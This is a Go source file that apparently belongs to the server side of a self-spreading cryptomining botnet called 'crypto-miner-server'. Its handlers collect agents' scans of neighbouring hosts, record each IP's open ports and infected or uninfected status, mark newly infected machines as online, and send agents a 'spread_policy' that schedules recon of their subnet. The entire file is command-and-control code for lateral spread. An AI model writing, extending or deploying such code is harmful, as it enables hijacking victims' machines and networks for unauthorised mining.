package api import ( "encoding/json" "net/http" "strings" dbpkg "crypto-miner-server/internal/db" ) const defaultSubnetReconIntervalMin = 30 type SubnetDiscoveryHandler struct { db *dbpkg.Database hub *WSHub } func NewSubnetDiscoveryHandler(database *dbpkg.Database, hub *WSHub) *SubnetDiscoveryHandler { return &SubnetDiscoveryHandler{db: database, hub: hub} } func (h *SubnetDiscoveryHandler) GetDiscoveredHosts(w http.ResponseWriter, r *http.Request) { if h == nil || h.db == nil { writeJSON(w, map[string]interface{}{"hosts": []dbpkg.SubnetDiscoveryRow{}}) return } subnet := strings.TrimSpace(r.URL.Query().Get("subnet")) status := strings.TrimSpace(r.URL.Query().Get("status")) rows, err := h.db.ListSubnetDiscoveries(subnet, status, 500) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } if rows == nil { rows = []dbpkg.SubnetDiscoveryRow{} } writeJSON(w, map[string]interface{}{"hosts": rows}) } func (h *WSHub) ingestSubnetReconReport(agentID string, payload json.RawMessage) { if h == nil || h.db == nil || agentID == "" { return } var body struct { Hosts []dbpkg.SubnetDiscoveryRow `json:"hosts"` SubnetPrefix string `json:"subnet_prefix"` AgentID string `json:"agent_id"` } if err := json.Unmarshal(payload, &body); err != nil || len(body.Hosts) == 0 { return } reporter := strings.TrimSpace(body.AgentID) if reporter == "" { reporter = agentID } defaultPrefix := normalizeSubnetDiscoveryQueryPrefix(body.SubnetPrefix) for _, host := range body.Hosts { ip := strings.TrimSpace(host.IP) if ip == "" { continue } prefix := normalizeSubnetDiscoveryQueryPrefix(host.SubnetPrefix) if prefix == "" { prefix = defaultPrefix } if prefix == "" { prefix = subnetPrefix24(ip) } if host.Status == "" { host.Status = dbpkg.SubnetDiscoveryUninfected } row, err := h.db.UpsertSubnetDiscovery(dbpkg.SubnetDiscoveryRow{ IP: ip, OpenPorts: host.OpenPorts, ReporterAgentID: strings.TrimSpace(host.ReporterAgentID), SubnetPrefix: prefix, HTTPTitle: host.HTTPTitle, Status: host.Status, }) if err != nil || row == nil { continue } if row.ReporterAgentID == "" { row.ReporterAgentID = reporter } h.BroadcastSubnetDiscoveryUpdate(*row) } } func (h *WSHub) markSubnetDiscoveryAgentOnline(ip string) { if h == nil || h.db == nil { return } ip = strings.TrimSpace(ip) if ip == "" { return } row, err := h.db.MarkSubnetDiscoveryAgentOnline(ip) if err != nil || row == nil { return } h.BroadcastSubnetDiscoveryUpdate(*row) } func (h *WSHub) BroadcastSubnetDiscoveryUpdate(row dbpkg.SubnetDiscoveryRow) { if h == nil { return } h.broadcastDashboard(Message{Type: "subnet_discovery_update", Payload: mustMarshal(row)}) } func (h *WSHub) subnetFleetIPsForRecon(agentSubnet string) []string { if h == nil || h.db == nil { return nil } agentSubnet = normalizeSubnetDiscoveryQueryPrefix(agentSubnet) if agentSubnet == "" { return nil } agents, err := h.db.ListAgentsFiltered(dbpkg.AgentListFilter{Subnet: agentSubnet + ".x", Limit: 256}) if err != nil { return nil } seen := map[string]bool{} var out []string for _, ag := range agents { if ag == nil { continue } ip := strings.TrimSpace(ag.IP) if ip == "" || seen[ip] { continue } seen[ip] = true out = append(out, ip) } return out } func (h *WSHub) attachSubnetReconPolicy(resp map[string]interface{}, spreadPolicy map[string]interface{}, clientIP string) { if h == nil { return } policy := h.serverPolicySnapshot() if !policy.SubnetReconEnabled { return } interval := policy.SubnetReconIntervalMin if interval <= 0 { interval = defaultSubnetReconIntervalMin } resp["subnet_recon_enabled"] = true resp["subnet_recon_interval_min"] = interval if fleetIPs := h.subnetFleetIPsForRecon(subnetPrefix24(clientIP)); len(fleetIPs) > 0 { resp["subnet_fleet_ips"] = fleetIPs } if spreadPolicy == nil { spreadPolicy = map[string]interface{}{} } spreadPolicy["subnet_recon_enabled"] = true spreadPolicy["subnet_recon_interval_min"] = interval resp["spread_policy"] = spreadPolicy } func normalizeSubnetDiscoveryQueryPrefix(prefix string) string { prefix = strings.TrimSpace(prefix) prefix = strings.TrimSuffix(prefix, ".0/24") prefix = strings.TrimSuffix(prefix, "/24") prefix = strings.TrimSuffix(prefix, ".x") return prefix }